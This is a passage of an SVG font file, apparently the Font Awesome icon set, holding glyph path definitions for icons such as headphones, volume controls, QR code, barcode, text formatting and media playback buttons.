t-115.5 48t-142.5 22q-192 0 -464 -146q-17 -9 -33 -9q-26 0 -45 19t-19 45v742q0 32 31 55q21 14 79 43q236 120 421 120q107 0 200 -29t219 -88q38 -19 88 -19q54 0 117.5 21t110 47t88 47t54.5 21q26 0 45 -19t19 -45z" />
    <glyph glyph-name="headphones" unicode="&#xf025;" horiz-adv-x="1664" 
d="M1664 650q0 -166 -60 -314l-20 -49l-185 -33q-22 -83 -90.5 -136.5t-156.5 -53.5v-32q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v576q0 14 9 23t23 9h64q14 0 23 -9t9 -23v-32q71 0 130 -35.5t93 -95.5l68 12q29 95 29 193q0 148 -88 279t-236.5 209t-315.5 78
t-315.5 -78t-236.5 -209t-88 -279q0 -98 29 -193l68 -12q34 60 93 95.5t130 35.5v32q0 14 9 23t23 9h64q14 0 23 -9t9 -23v-576q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v32q-88 0 -156.5 53.5t-90.5 136.5l-185 33l-20 49q-60 148 -60 314q0 151 67 291t179 242.5
t266 163.5t320 61t320 -61t266 -163.5t179 -242.5t67 -291z" />
    <glyph glyph-name="volume_off" unicode="&#xf026;" horiz-adv-x="768" 
d="M768 1184v-1088q0 -26 -19 -45t-45 -19t-45 19l-333 333h-262q-26 0 -45 19t-19 45v384q0 26 19 45t45 19h262l333 333q19 19 45 19t45 -19t19 -45z" />
    <glyph glyph-name="volume_down" unicode="&#xf027;" horiz-adv-x="1152" 
d="M768 1184v-1088q0 -26 -19 -45t-45 -19t-45 19l-333 333h-262q-26 0 -45 19t-19 45v384q0 26 19 45t45 19h262l333 333q19 19 45 19t45 -19t19 -45zM1152 640q0 -76 -42.5 -141.5t-112.5 -93.5q-10 -5 -25 -5q-26 0 -45 18.5t-19 45.5q0 21 12 35.5t29 25t34 23t29 36
t12 56.5t-12 56.5t-29 36t-34 23t-29 25t-12 35.5q0 27 19 45.5t45 18.5q15 0 25 -5q70 -27 112.5 -93t42.5 -142z" />
    <glyph glyph-name="volume_up" unicode="&#xf028;" horiz-adv-x="1664" 
d="M768 1184v-1088q0 -26 -19 -45t-45 -19t-45 19l-333 333h-262q-26 0 -45 19t-19 45v384q0 26 19 45t45 19h262l333 333q19 19 45 19t45 -19t19 -45zM1152 640q0 -76 -42.5 -141.5t-112.5 -93.5q-10 -5 -25 -5q-26 0 -45 18.5t-19 45.5q0 21 12 35.5t29 25t34 23t29 36
t12 56.5t-12 56.5t-29 36t-34 23t-29 25t-12 35.5q0 27 19 45.5t45 18.5q15 0 25 -5q70 -27 112.5 -93t42.5 -142zM1408 640q0 -153 -85 -282.5t-225 -188.5q-13 -5 -25 -5q-27 0 -46 19t-19 45q0 39 39 59q56 29 76 44q74 54 115.5 135.5t41.5 173.5t-41.5 173.5
t-115.5 135.5q-20 15 -76 44q-39 20 -39 59q0 26 19 45t45 19q13 0 26 -5q140 -59 225 -188.5t85 -282.5zM1664 640q0 -230 -127 -422.5t-338 -283.5q-13 -5 -26 -5q-26 0 -45 19t-19 45q0 36 39 59q7 4 22.5 10.5t22.5 10.5q46 25 82 51q123 91 192 227t69 289t-69 289
t-192 227q-36 26 -82 51q-7 4 -22.5 10.5t-22.5 10.5q-39 23 -39 59q0 26 19 45t45 19q13 0 26 -5q211 -91 338 -283.5t127 -422.5z" />
    <glyph glyph-name="qrcode" unicode="&#xf029;" horiz-adv-x="1408" 
d="M384 384v-128h-128v128h128zM384 1152v-128h-128v128h128zM1152 1152v-128h-128v128h128zM128 129h384v383h-384v-383zM128 896h384v384h-384v-384zM896 896h384v384h-384v-384zM640 640v-640h-640v640h640zM1152 128v-128h-128v128h128zM1408 128v-128h-128v128h128z
M1408 640v-384h-384v128h-128v-384h-128v640h384v-128h128v128h128zM640 1408v-640h-640v640h640zM1408 1408v-640h-640v640h640z" />
    <glyph glyph-name="barcode" unicode="&#xf02a;" horiz-adv-x="1792" 
d="M63 0h-63v1408h63v-1408zM126 1h-32v1407h32v-1407zM220 1h-31v1407h31v-1407zM377 1h-31v1407h31v-1407zM534 1h-62v1407h62v-1407zM660 1h-31v1407h31v-1407zM723 1h-31v1407h31v-1407zM786 1h-31v1407h31v-1407zM943 1h-63v1407h63v-1407zM1100 1h-63v1407h63v-1407z
M1226 1h-63v1407h63v-1407zM1352 1h-63v1407h63v-1407zM1446 1h-63v1407h63v-1407zM1635 1h-94v1407h94v-1407zM1698 1h-32v1407h32v-1407zM1792 0h-63v1408h63v-1408z" />
    <glyph glyph-name="tag" unicode="&#xf02b;" 
d="M448 1088q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1515 512q0 -53 -37 -90l-491 -492q-39 -37 -91 -37q-53 0 -90 37l-715 716q-38 37 -64.5 101t-26.5 117v416q0 52 38 90t90 38h416q53 0 117 -26.5t102 -64.5
l715 -714q37 -39 37 -91z" />
    <glyph glyph-name="tags" unicode="&#xf02c;" horiz-adv-x="1920" 
d="M448 1088q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1515 512q0 -53 -37 -90l-491 -492q-39 -37 -91 -37q-53 0 -90 37l-715 716q-38 37 -64.5 101t-26.5 117v416q0 52 38 90t90 38h416q53 0 117 -26.5t102 -64.5
l715 -714q37 -39 37 -91zM1899 512q0 -53 -37 -90l-491 -492q-39 -37 -91 -37q-36 0 -59 14t-53 45l470 470q37 37 37 90q0 52 -37 91l-715 714q-38 38 -102 64.5t-117 26.5h224q53 0 117 -26.5t102 -64.5l715 -714q37 -39 37 -91z" />
    <glyph glyph-name="book" unicode="&#xf02d;" horiz-adv-x="1664" 
d="M1639 1058q40 -57 18 -129l-275 -906q-19 -64 -76.5 -107.5t-122.5 -43.5h-923q-77 0 -148.5 53.5t-99.5 131.5q-24 67 -2 127q0 4 3 27t4 37q1 8 -3 21.5t-3 19.5q2 11 8 21t16.5 23.5t16.5 23.5q23 38 45 91.5t30 91.5q3 10 0.5 30t-0.5 28q3 11 17 28t17 23
q21 36 42 92t25 90q1 9 -2.5 32t0.5 28q4 13 22 30.5t22 22.5q19 26 42.5 84.5t27.5 96.5q1 8 -3 25.5t-2 26.5q2 8 9 18t18 23t17 21q8 12 16.5 30.5t15 35t16 36t19.5 32t26.5 23.5t36 11.5t47.5 -5.5l-1 -3q38 9 51 9h761q74 0 114 -56t18 -130l-274 -906
q-36 -119 -71.5 -153.5t-128.5 -34.5h-869q-27 0 -38 -15q-11 -16 -1 -43q24 -70 144 -70h923q29 0 56 15.5t35 41.5l300 987q7 22 5 57q38 -15 59 -43zM575 1056q-4 -13 2 -22.5t20 -9.5h608q13 0 25.5 9.5t16.5 22.5l21 64q4 13 -2 22.5t-20 9.5h-608q-13 0 -25.5 -9.5
t-16.5 -22.5zM492 800q-4 -13 2 -22.5t20 -9.5h608q13 0 25.5 9.5t16.5 22.5l21 64q4 13 -2 22.5t-20 9.5h-608q-13 0 -25.5 -9.5t-16.5 -22.5z" />
    <glyph glyph-name="bookmark" unicode="&#xf02e;" horiz-adv-x="1280" 
d="M1164 1408q23 0 44 -9q33 -13 52.5 -41t19.5 -62v-1289q0 -34 -19.5 -62t-52.5 -41q-19 -8 -44 -8q-48 0 -83 32l-441 424l-441 -424q-36 -33 -83 -33q-23 0 -44 9q-33 13 -52.5 41t-19.5 62v1289q0 34 19.5 62t52.5 41q21 9 44 9h1048z" />
    <glyph glyph-name="print" unicode="&#xf02f;" horiz-adv-x="1664" 
d="M384 0h896v256h-896v-256zM384 640h896v384h-160q-40 0 -68 28t-28 68v160h-640v-640zM1536 576q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1664 576v-416q0 -13 -9.5 -22.5t-22.5 -9.5h-224v-160q0 -40 -28 -68t-68 -28h-960q-40 0 -68 28t-28 68
v160h-224q-13 0 -22.5 9.5t-9.5 22.5v416q0 79 56.5 135.5t135.5 56.5h64v544q0 40 28 68t68 28h672q40 0 88 -20t76 -48l152 -152q28 -28 48 -76t20 -88v-256h64q79 0 135.5 -56.5t56.5 -135.5z" />
    <glyph glyph-name="camera" unicode="&#xf030;" horiz-adv-x="1920" 
d="M960 864q119 0 203.5 -84.5t84.5 -203.5t-84.5 -203.5t-203.5 -84.5t-203.5 84.5t-84.5 203.5t84.5 203.5t203.5 84.5zM1664 1280q106 0 181 -75t75 -181v-896q0 -106 -75 -181t-181 -75h-1408q-106 0 -181 75t-75 181v896q0 106 75 181t181 75h224l51 136
q19 49 69.5 84.5t103.5 35.5h512q53 0 103.5 -35.5t69.5 -84.5l51 -136h224zM960 128q185 0 316.5 131.5t131.5 316.5t-131.5 316.5t-316.5 131.5t-316.5 -131.5t-131.5 -316.5t131.5 -316.5t316.5 -131.5z" />
    <glyph glyph-name="font" unicode="&#xf031;" horiz-adv-x="1664" 
d="M725 977l-170 -450q33 0 136.5 -2t160.5 -2q19 0 57 2q-87 253 -184 452zM0 -128l2 79q23 7 56 12.5t57 10.5t49.5 14.5t44.5 29t31 50.5l237 616l280 724h75h53q8 -14 11 -21l205 -480q33 -78 106 -257.5t114 -274.5q15 -34 58 -144.5t72 -168.5q20 -45 35 -57
q19 -15 88 -29.5t84 -20.5q6 -38 6 -57q0 -5 -0.5 -13.5t-0.5 -12.5q-63 0 -190 8t-191 8q-76 0 -215 -7t-178 -8q0 43 4 78l131 28q1 0 12.5 2.5t15.5 3.5t14.5 4.5t15 6.5t11 8t9 11t2.5 14q0 16 -31 96.5t-72 177.5t-42 100l-450 2q-26 -58 -76.5 -195.5t-50.5 -162.5
q0 -22 14 -37.5t43.5 -24.5t48.5 -13.5t57 -8.5t41 -4q1 -19 1 -58q0 -9 -2 -27q-58 0 -174.5 10t-174.5 10q-8 0 -26.5 -4t-21.5 -4q-80 -14 -188 -14z" />
    <glyph glyph-name="bold" unicode="&#xf032;" horiz-adv-x="1408" 
d="M555 15q74 -32 140 -32q376 0 376 335q0 114 -41 180q-27 44 -61.5 74t-67.5 46.5t-80.5 25t-84 10.5t-94.5 2q-73 0 -101 -10q0 -53 -0.5 -159t-0.5 -158q0 -8 -1 -67.5t-0.5 -96.5t4.5 -83.5t12 -66.5zM541 761q42 -7 109 -7q82 0 143 13t110 44.5t74.5 89.5t25.5 142
q0 70 -29 122.5t-79 82t-108 43.5t-124 14q-50 0 -130 -13q0 -50 4 -151t4 -152q0 -27 -0.5 -80t-0.5 -79q0 -46 1 -69zM0 -128l2 94q15 4 85 16t106 27q7 12 12.5 27t8.5 33.5t5.5 32.5t3 37.5t0.5 34v35.5v30q0 982 -22 1025q-4 8 -22 14.5t-44.5 11t-49.5 7t-48.5 4.5
t-30.5 3l-4 83q98 2 340 11.5t373 9.5q23 0 68 -0.5t68 -0.5q70 0 136.5 -13t128.5 -42t108 -71t74 -104.5t28 -137.5q0 -52 -16.5 -95.5t-39 -72t-64.5 -57.5t-73 -45t-84 -40q154 -35 256.5 -134t102.5 -248q0 -100 -35 -179.5t-93.5 -130.5t-138 -85.5t-163.5 -48.5
t-176 -14q-44 0 -132 3t-132 3q-106 0 -307 -11t-231 -12z" />
    <glyph glyph-name="italic" unicode="&#xf033;" horiz-adv-x="1024" 
d="M0 -126l17 85q22 7 61.5 16.5t72 19t59.5 23.5q28 35 41 101q1 7 62 289t114 543.5t52 296.5v25q-24 13 -54.5 18.5t-69.5 8t-58 5.5l19 103q33 -2 120 -6.5t149.5 -7t120.5 -2.5q48 0 98.5 2.5t121 7t98.5 6.5q-5 -39 -19 -89q-30 -10 -101.5 -28.5t-108.5 -33.5
q-8 -19 -14 -42.5t-9 -40t-7.5 -45.5t-6.5 -42q-27 -148 -87.5 -419.5t-77.5 -355.5q-2 -9 -13 -58t-20 -90t-16 -83.5t-6 -57.5l1 -18q17 -4 185 -31q-3 -44 -16 -99q-11 0 -32.5 -1.5t-32.5 -1.5q-29 0 -87 10t-86 10q-138 2 -206 2q-51 0 -143 -9t-121 -11z" />
    <glyph glyph-name="text_height" unicode="&#xf034;" horiz-adv-x="1792" 
d="M1744 128q33 0 42 -18.5t-11 -44.5l-126 -162q-20 -26 -49 -26t-49 26l-126 162q-20 26 -11 44.5t42 18.5h80v1024h-80q-33 0 -42 18.5t11 44.5l126 162q20 26 49 26t49 -26l126 -162q20 -26 11 -44.5t-42 -18.5h-80v-1024h80zM81 1407l54 -27q12 -5 211 -5q44 0 132 2
t132 2q36 0 107.5 -0.5t107.5 -0.5h293q6 0 21 -0.5t20.5 0t16 3t17.5 9t15 17.5l42 1q4 0 14 -0.5t14 -0.5q2 -112 2 -336q0 -80 -5 -109q-39 -14 -68 -18q-25 44 -54 128q-3 9 -11 48t-14.5 73.5t-7.5 35.5q-6 8 -12 12.5t-15.5 6t-13 2.5t-18 0.5t-16.5 -0.5
q-17 0 -66.5 0.5t-74.5 0.5t-64 -2t-71 -6q-9 -81 -8 -136q0 -94 2 -388t2 -455q0 -16 -2.5 -71.5t0 -91.5t12.5 -69q40 -21 124 -42.5t120 -37.5q5 -40 5 -50q0 -14 -3 -29l-34 -1q-76 -2 -218 8t-207 10q-50 0 -151 -9t-152 -9q-3 51 -3 52v9q17 27 61.5 43t98.5 29t78 27
q19 42 19 383q0 101 -3 303t-3 303v117q0 2 0.5 15.5t0.5 25t-1 25.5t-3 24t-5 14q-11 12 -162 12q-33 0 -93 -12t-80 -26q-19 -13 -34 -72.5t-31.5 -111t-42.5 -53.5q-42 26 -56 44v383z" />
    <glyph glyph-name="text_width" unicode="&#xf035;" 
d="M81 1407l54 -27q12 -5 211 -5q44 0 132 2t132 2q70 0 246.5 1t304.5 0.5t247 -4.5q33 -1 56 31l42 1q4 0 14 -0.5t14 -0.5q2 -112 2 -336q0 -80 -5 -109q-39 -14 -68 -18q-25 44 -54 128q-3 9 -11 47.5t-15 73.5t-7 36q-10 13 -27 19q-5 2 -66 2q-30 0 -93 1t-103 1
t-94 -2t-96 -7q-9 -81 -8 -136l1 -152v52q0 -55 1 -154t1.5 -180t0.5 -153q0 -16 -2.5 -71.5t0 -91.5t12.5 -69q40 -21 124 -42.5t120 -37.5q5 -40 5 -50q0 -14 -3 -29l-34 -1q-76 -2 -218 8t-207 10q-50 0 -151 -9t-152 -9q-3 51 -3 52v9q17 27 61.5 43t98.5 29t78 27
q7 16 11.5 74t6 145.5t1.5 155t-0.5 153.5t-0.5 89q0 7 -2.5 21.5t-2.5 22.5q0 7 0.5 44t1 73t0 76.5t-3 67.5t-6.5 32q-11 12 -162 12q-41 0 -163 -13.5t-138 -24.5q-19 -12 -34 -71.5t-31.5 -111.5t-42.5 -54q-42 26 -56 44v383zM1310 125q12 0 42 -19.5t57.5 -41.5
t59.5 -49t36 -30q26 -21 26 -49t-26 -49q-4 -3 -36 -30t-59.5 -49t-57.5 -41.5t-42 -19.5q-13 0 -20.5 10.5t-10 28.5t-2.5 33.5t1.5 33t1.5 19.5h-1024q0 -2 1.5 -19.5t1.5 -33t-2.5 -33.5t-10 -28.5t-20.5 -10.5q-12 0 -42 19.5t-57.5 41.5t-59.5 49t-36 30q-26 21 -26 49
t26 49q4 3 36 30t59.5 49t57.5 41.5t42 19.5q13 0 20.5 -10.5t10 -28.5t2.5 -33.5t-1.5 -33t-1.5 -19.5h1024q0 2 -1.5 19.5t-1.5 33t2.5 33.5t10 28.5t20.5 10.5z" />
    <glyph glyph-name="align_left" unicode="&#xf036;" horiz-adv-x="1792" 
d="M1792 192v-128q0 -26 -19 -45t-45 -19h-1664q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1664q26 0 45 -19t19 -45zM1408 576v-128q0 -26 -19 -45t-45 -19h-1280q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1280q26 0 45 -19t19 -45zM1664 960v-128q0 -26 -19 -45
t-45 -19h-1536q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1536q26 0 45 -19t19 -45zM1280 1344v-128q0 -26 -19 -45t-45 -19h-1152q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1152q26 0 45 -19t19 -45z" />
    <glyph glyph-name="align_center" unicode="&#xf037;" horiz-adv-x="1792" 
d="M1792 192v-128q0 -26 -19 -45t-45 -19h-1664q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1664q26 0 45 -19t19 -45zM1408 576v-128q0 -26 -19 -45t-45 -19h-896q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h896q26 0 45 -19t19 -45zM1664 960v-128q0 -26 -19 -45t-45 -19
h-1408q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1408q26 0 45 -19t19 -45zM1280 1344v-128q0 -26 -19 -45t-45 -19h-640q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h640q26 0 45 -19t19 -45z" />
    <glyph glyph-name="align_right" unicode="&#xf038;" horiz-adv-x="1792" 
d="M1792 192v-128q0 -26 -19 -45t-45 -19h-1664q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1664q26 0 45 -19t19 -45zM1792 576v-128q0 -26 -19 -45t-45 -19h-1280q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1280q26 0 45 -19t19 -45zM1792 960v-128q0 -26 -19 -45
t-45 -19h-1536q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1536q26 0 45 -19t19 -45zM1792 1344v-128q0 -26 -19 -45t-45 -19h-1152q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1152q26 0 45 -19t19 -45z" />
    <glyph glyph-name="align_justify" unicode="&#xf039;" horiz-adv-x="1792" 
d="M1792 192v-128q0 -26 -19 -45t-45 -19h-1664q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1664q26 0 45 -19t19 -45zM1792 576v-128q0 -26 -19 -45t-45 -19h-1664q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1664q26 0 45 -19t19 -45zM1792 960v-128q0 -26 -19 -45
t-45 -19h-1664q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1664q26 0 45 -19t19 -45zM1792 1344v-128q0 -26 -19 -45t-45 -19h-1664q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1664q26 0 45 -19t19 -45z" />
    <glyph glyph-name="list" unicode="&#xf03a;" horiz-adv-x="1792" 
d="M256 224v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-192q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h192q13 0 22.5 -9.5t9.5 -22.5zM256 608v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-192q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h192q13 0 22.5 -9.5
t9.5 -22.5zM256 992v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-192q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h192q13 0 22.5 -9.5t9.5 -22.5zM1792 224v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1344q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1344
q13 0 22.5 -9.5t9.5 -22.5zM256 1376v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-192q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h192q13 0 22.5 -9.5t9.5 -22.5zM1792 608v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1344q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5
t22.5 9.5h1344q13 0 22.5 -9.5t9.5 -22.5zM1792 992v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1344q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1344q13 0 22.5 -9.5t9.5 -22.5zM1792 1376v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1344q-13 0 -22.5 9.5t-9.5 22.5v192
q0 13 9.5 22.5t22.5 9.5h1344q13 0 22.5 -9.5t9.5 -22.5z" />
    <glyph glyph-name="indent_left" unicode="&#xf03b;" horiz-adv-x="1792" 
d="M384 992v-576q0 -13 -9.5 -22.5t-22.5 -9.5q-14 0 -23 9l-288 288q-9 9 -9 23t9 23l288 288q9 9 23 9q13 0 22.5 -9.5t9.5 -22.5zM1792 224v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1728q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1728q13 0 22.5 -9.5
t9.5 -22.5zM1792 608v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1088q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1088q13 0 22.5 -9.5t9.5 -22.5zM1792 992v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1088q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1088
q13 0 22.5 -9.5t9.5 -22.5zM1792 1376v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1728q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1728q13 0 22.5 -9.5t9.5 -22.5z" />
    <glyph glyph-name="indent_right" unicode="&#xf03c;" horiz-adv-x="1792" 
d="M352 704q0 -14 -9 -23l-288 -288q-9 -9 -23 -9q-13 0 -22.5 9.5t-9.5 22.5v576q0 13 9.5 22.5t22.5 9.5q14 0 23 -9l288 -288q9 -9 9 -23zM1792 224v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1728q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1728q13 0 22.5 -9.5
t9.5 -22.5zM1792 608v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1088q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1088q13 0 22.5 -9.5t9.5 -22.5zM1792 992v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1088q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1088
q13 0 22.5 -9.5t9.5 -22.5zM1792 1376v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1728q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1728q13 0 22.5 -9.5t9.5 -22.5z" />
    <glyph glyph-name="facetime_video" unicode="&#xf03d;" horiz-adv-x="1792" 
d="M1792 1184v-1088q0 -42 -39 -59q-13 -5 -25 -5q-27 0 -45 19l-403 403v-166q0 -119 -84.5 -203.5t-203.5 -84.5h-704q-119 0 -203.5 84.5t-84.5 203.5v704q0 119 84.5 203.5t203.5 84.5h704q119 0 203.5 -84.5t84.5 -203.5v-165l403 402q18 19 45 19q12 0 25 -5
q39 -17 39 -59z" />
    <glyph glyph-name="picture" unicode="&#xf03e;" horiz-adv-x="1920" 
d="M640 960q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM1664 576v-448h-1408v192l320 320l160 -160l512 512zM1760 1280h-1600q-13 0 -22.5 -9.5t-9.5 -22.5v-1216q0 -13 9.5 -22.5t22.5 -9.5h1600q13 0 22.5 9.5t9.5 22.5v1216
q0 13 -9.5 22.5t-22.5 9.5zM1920 1248v-1216q0 -66 -47 -113t-113 -47h-1600q-66 0 -113 47t-47 113v1216q0 66 47 113t113 47h1600q66 0 113 -47t47 -113z" />
    <glyph glyph-name="pencil" unicode="&#xf040;" 
d="M363 0l91 91l-235 235l-91 -91v-107h128v-128h107zM886 928q0 22 -22 22q-10 0 -17 -7l-542 -542q-7 -7 -7 -17q0 -22 22 -22q10 0 17 7l542 542q7 7 7 17zM832 1120l416 -416l-832 -832h-416v416zM1515 1024q0 -53 -37 -90l-166 -166l-416 416l166 165q36 38 90 38
q53 0 91 -38l235 -234q37 -39 37 -91z" />
    <glyph glyph-name="map_marker" unicode="&#xf041;" horiz-adv-x="1024" 
d="M768 896q0 106 -75 181t-181 75t-181 -75t-75 -181t75 -181t181 -75t181 75t75 181zM1024 896q0 -109 -33 -179l-364 -774q-16 -33 -47.5 -52t-67.5 -19t-67.5 19t-46.5 52l-365 774q-33 70 -33 179q0 212 150 362t362 150t362 -150t150 -362z" />
    <glyph glyph-name="adjust" unicode="&#xf042;" 
d="M768 96v1088q-148 0 -273 -73t-198 -198t-73 -273t73 -273t198 -198t273 -73zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="tint" unicode="&#xf043;" horiz-adv-x="1024" 
d="M512 384q0 36 -20 69q-1 1 -15.5 22.5t-25.5 38t-25 44t-21 50.5q-4 16 -21 16t-21 -16q-7 -23 -21 -50.5t-25 -44t-25.5 -38t-15.5 -22.5q-20 -33 -20 -69q0 -53 37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1024 512q0 -212 -150 -362t-362 -150t-362 150t-150 362
q0 145 81 275q6 9 62.5 90.5t101 151t99.5 178t83 201.5q9 30 34 47t51 17t51.5 -17t33.5 -47q28 -93 83 -201.5t99.5 -178t101 -151t62.5 -90.5q81 -127 81 -275z" />
    <glyph glyph-name="edit" unicode="&#xf044;" horiz-adv-x="1792" 
d="M888 352l116 116l-152 152l-116 -116v-56h96v-96h56zM1328 1072q-16 16 -33 -1l-350 -350q-17 -17 -1 -33t33 1l350 350q17 17 1 33zM1408 478v-190q0 -119 -84.5 -203.5t-203.5 -84.5h-832q-119 0 -203.5 84.5t-84.5 203.5v832q0 119 84.5 203.5t203.5 84.5h832
q63 0 117 -25q15 -7 18 -23q3 -17 -9 -29l-49 -49q-14 -14 -32 -8q-23 6 -45 6h-832q-66 0 -113 -47t-47 -113v-832q0 -66 47 -113t113 -47h832q66 0 113 47t47 113v126q0 13 9 22l64 64q15 15 35 7t20 -29zM1312 1216l288 -288l-672 -672h-288v288zM1756 1084l-92 -92
l-288 288l92 92q28 28 68 28t68 -28l152 -152q28 -28 28 -68t-28 -68z" />
    <glyph glyph-name="share" unicode="&#xf045;" horiz-adv-x="1664" 
d="M1408 547v-259q0 -119 -84.5 -203.5t-203.5 -84.5h-832q-119 0 -203.5 84.5t-84.5 203.5v832q0 119 84.5 203.5t203.5 84.5h255v0q13 0 22.5 -9.5t9.5 -22.5q0 -27 -26 -32q-77 -26 -133 -60q-10 -4 -16 -4h-112q-66 0 -113 -47t-47 -113v-832q0 -66 47 -113t113 -47h832
q66 0 113 47t47 113v214q0 19 18 29q28 13 54 37q16 16 35 8q21 -9 21 -29zM1645 1043l-384 -384q-18 -19 -45 -19q-12 0 -25 5q-39 17 -39 59v192h-160q-323 0 -438 -131q-119 -137 -74 -473q3 -23 -20 -34q-8 -2 -12 -2q-16 0 -26 13q-10 14 -21 31t-39.5 68.5t-49.5 99.5
t-38.5 114t-17.5 122q0 49 3.5 91t14 90t28 88t47 81.5t68.5 74t94.5 61.5t124.5 48.5t159.5 30.5t196.5 11h160v192q0 42 39 59q13 5 25 5q26 0 45 -19l384 -384q19 -19 19 -45t-19 -45z" />
    <glyph glyph-name="check" unicode="&#xf046;" horiz-adv-x="1664" 
d="M1408 606v-318q0 -119 -84.5 -203.5t-203.5 -84.5h-832q-119 0 -203.5 84.5t-84.5 203.5v832q0 119 84.5 203.5t203.5 84.5h832q63 0 117 -25q15 -7 18 -23q3 -17 -9 -29l-49 -49q-10 -10 -23 -10q-3 0 -9 2q-23 6 -45 6h-832q-66 0 -113 -47t-47 -113v-832
q0 -66 47 -113t113 -47h832q66 0 113 47t47 113v254q0 13 9 22l64 64q10 10 23 10q6 0 12 -3q20 -8 20 -29zM1639 1095l-814 -814q-24 -24 -57 -24t-57 24l-430 430q-24 24 -24 57t24 57l110 110q24 24 57 24t57 -24l263 -263l647 647q24 24 57 24t57 -24l110 -110
q24 -24 24 -57t-24 -57z" />
    <glyph glyph-name="move" unicode="&#xf047;" horiz-adv-x="1792" 
d="M1792 640q0 -26 -19 -45l-256 -256q-19 -19 -45 -19t-45 19t-19 45v128h-384v-384h128q26 0 45 -19t19 -45t-19 -45l-256 -256q-19 -19 -45 -19t-45 19l-256 256q-19 19 -19 45t19 45t45 19h128v384h-384v-128q0 -26 -19 -45t-45 -19t-45 19l-256 256q-19 19 -19 45
t19 45l256 256q19 19 45 19t45 -19t19 -45v-128h384v384h-128q-26 0 -45 19t-19 45t19 45l256 256q19 19 45 19t45 -19l256 -256q19 -19 19 -45t-19 -45t-45 -19h-128v-384h384v128q0 26 19 45t45 19t45 -19l256 -256q19 -19 19 -45z" />
    <glyph glyph-name="step_backward" unicode="&#xf048;" horiz-adv-x="1024" 
d="M979 1395q19 19 32 13t13 -32v-1472q0 -26 -13 -32t-32 13l-710 710q-9 9 -13 19v-678q0 -26 -19 -45t-45 -19h-128q-26 0 -45 19t-19 45v1408q0 26 19 45t45 19h128q26 0 45 -19t19 -45v-678q4 10 13 19z" />
    <glyph glyph-name="fast_backward" unicode="&#xf049;" horiz-adv-x="1792" 
d="M1747 1395q19 19 32 13t13 -32v-1472q0 -26 -13 -32t-32 13l-710 710q-9 9 -13 19v-710q0 -26 -13 -32t-32 13l-710 710q-9 9 -13 19v-678q0 -26 -19 -45t-45 -19h-128q-26 0 -45 19t-19 45v1408q0 26 19 45t45 19h128q26 0 45 -19t19 -45v-678q4 10 13 19l710 710
q19 19 32 13t13 -32v-710q4 10 13 19z" />
    <glyph glyph-name="backward" unicode="&#xf04a;" horiz-adv-x="1664" 
